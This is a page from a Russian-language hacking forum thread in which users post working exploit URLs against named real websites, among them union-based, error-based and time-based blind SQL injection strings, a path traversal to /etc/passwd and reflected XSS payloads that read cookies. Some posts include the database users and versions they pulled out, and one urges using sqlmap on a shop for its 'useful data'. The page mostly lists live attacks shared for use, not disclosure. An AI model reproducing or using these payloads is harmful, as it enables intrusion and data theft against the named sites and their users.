HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Песочница
Перезагрузить страницу Уязвимости SQLi, XSS и другие.
   
Ответ
Страница 7 из 35 « Первая < 3 4 5 6 7 8 9 10 11 17 > Последняя »
 
Опции темы Поиск в этой теме Опции просмотра

  #61  
Старый 21.05.2015, 18:42
Егорыч+++
Познавший АНТИЧАТ
Регистрация: 27.05.2002
Сообщений: 1,241
Провел на форуме:
20377164

Репутация: 0


По умолчанию
Цитата:
Сообщение от Cassie)  
Пассивные xss тут надо публиковать с описанием того как её можно использовать на уязвимом ресурсе.
 
Ответить с цитированием

  #62  
Старый 21.05.2015, 18:50
private_static
Guest
Сообщений: n/a
Провел на форуме:
25535

Репутация: 22
По умолчанию
.SpoilerTarget" type="button">Spoiler: инклуд

Код:
Code:
http://www.antiled.biz/index.php?lang=ru&menu=ss/../../../../../etc/passwd/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././
 
Ответить с цитированием

  #63  
Старый 21.05.2015, 19:48
R3hab
Guest
Сообщений: n/a
Провел на форуме:
31545

Репутация: 6
По умолчанию
Цитата:
PR 2

AR 950876

5.0.95
 
Ответить с цитированием

  #64  
Старый 21.05.2015, 23:53
Шниперсон
Guest
Сообщений: n/a
Провел на форуме:
20946

Репутация: 3
По умолчанию
http://www.additivealert.com.au/productdetail.php?pid=3+union+select+1,2,version() ,4,5,6,7,8

ще я имею задать вопрос ! Как их кошерно искать ???
 
Ответить с цитированием

  #65  
Старый 22.05.2015, 13:57
R3hab
Guest
Сообщений: n/a
Провел на форуме:
31545

Репутация: 6
По умолчанию
Цитата:
Сообщение от None  
quaoar.su/index.php?article_id=7%20union%20select%20concat(u ser(),0x3a,database(),0x3a,version())&chapter_id=6 &volume_id=1
[COLOR="rgb(0, 255, 0)"]quaoarsu@localhost:quaoarsu:5.5.40-log[/COLOR]

Цитата:
Сообщение от None  
travel-rhodes.com/article.php?article_id=-7%20union%20select%201,2,3,concat(user(),0x3a,data base(),0x3a,version()),5,6,7,8,9--+f


ttrhodes_mar@localhost:ttrhodes_rhodes:5.1.73-cll

PR4
 
Ответить с цитированием

  #66  
Старый 23.05.2015, 17:58
R3hab
Guest
Сообщений: n/a
Провел на форуме:
31545

Репутация: 6
По умолчанию
Цитата:
gisUsr@localhost:gis:5.0.67-community-nt

PR2


Цитата:
Сообщение от None  
mormonlit.byu.edu/lit_work.php?w_id=-8%20union%20select%201,concat(user(),0x3a,database (),0x3a,version()),3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8 ,9,0,1,2,3,4,5
ldslit@localhost:ldslit:5.5.39

PR4
 
Ответить с цитированием

  #67  
Старый 24.05.2015, 03:47
kingbeef
Новичок
Регистрация: 08.04.2010
Сообщений: 1
Провел на форуме:
70640

Репутация: 0
По умолчанию
XSS

Код:
Code:
https://poisk.ngs.ru/?q=\x3C\x2Ftitle\x3E\x3Cscript\x3Ealert\x28\x27kingbeef\x27\x29\x3C\x2Fscript\x3E&region=50&mode=2&url=d3d3LmNvZGVuZXQucnU=
 
Ответить с цитированием

  #68  
Старый 25.05.2015, 09:12
Rypjaer
Guest
Сообщений: n/a
Провел на форуме:
782

Репутация: 2
По умолчанию
Код:
Code:
http://www.dutchaero.nl/index.php?catid=3&id=-7%20union%20select%201,2,3,4,concat%28user%28%29,0x3a,database%28%29,0x3a,version%28%29%29,6--
Код:
Code:
https://www.althorp.com/visits_giftshop_detail.php?catid=-1%27+or+1+group+by+mid%28user%28%29,rand%280%29|0,64%29+having+avg%280%29+--+
Код:
Code:
http://www.parskado.com/category.php?CATID=2%20union%20select%20concat%28user%28%29,0x3a,database%28%29,0x3a,version%28%29%29,2--+-
 
Ответить с цитированием

  #69  
Старый 25.05.2015, 16:02
Filipp
Guest
Сообщений: n/a
Провел на форуме:
98300

Репутация: 31
По умолчанию
Sql-inj (Blind)

Код:
Code:
http://erobank.ru/section/if(now()=sysdate(),sleep(0),0)/')%20AND%20(SELECT%20*%20FROM%20(SELECT(SLEEP(5)))nSVA)%20AND%20('BUui'='BUui'XOR(if(now()=sysdate(),%20sleep(0),0))OR'%22XOR(if(now()=sysdate(),sleep(0),0))OR%22/
 
Ответить с цитированием

  #70  
Старый 26.05.2015, 18:12
Filipp
Guest
Сообщений: n/a
Провел на форуме:
98300

Репутация: 31
По умолчанию
Долго думал, выкладывать ли этот сайт, все таки поделюсь. Довольно интересный инет магазин, с кучей полезных данных. Скуля слепая, поэтому руками крутить и не брался. Легко раскручивается sqlmap'ом:

Код:
Code:
http://autoforsazh.ru/battery-search/?battery_brand=1&battery_capacity=;&battery_cold_start_current=;&battery_polarity=(select(0)from(select(sleep(0)))v)/*'%2b(select(0)from(select(sleep(0)))v)%2b'"%2b(select(0)from(select(sleep(0)))v)%2b"*/&items_per_page=36&item_part=&order=asc&request_url=battery-search&search_type=battery_param&size_height=1&size_length=1&size_tolerance=1&size_width=1&sort=price
SQL-inj (Blind):

Код:
Code:
http://kharkov.ua/poisk/searchresults.php3?category=395%20AND%203*2*1%3d6%20AND%20601%3d601&mode=2
XSS:

Код:
Code:
http://kupitraf.com/index.php?type=1%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E
 
Ответить с цитированием
Ответ
Страница 7 из 35 « Первая < 3 4 5 6 7 8 9 10 11 17 > Последняя »



« Предыдущая тема | Следующая тема »


Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ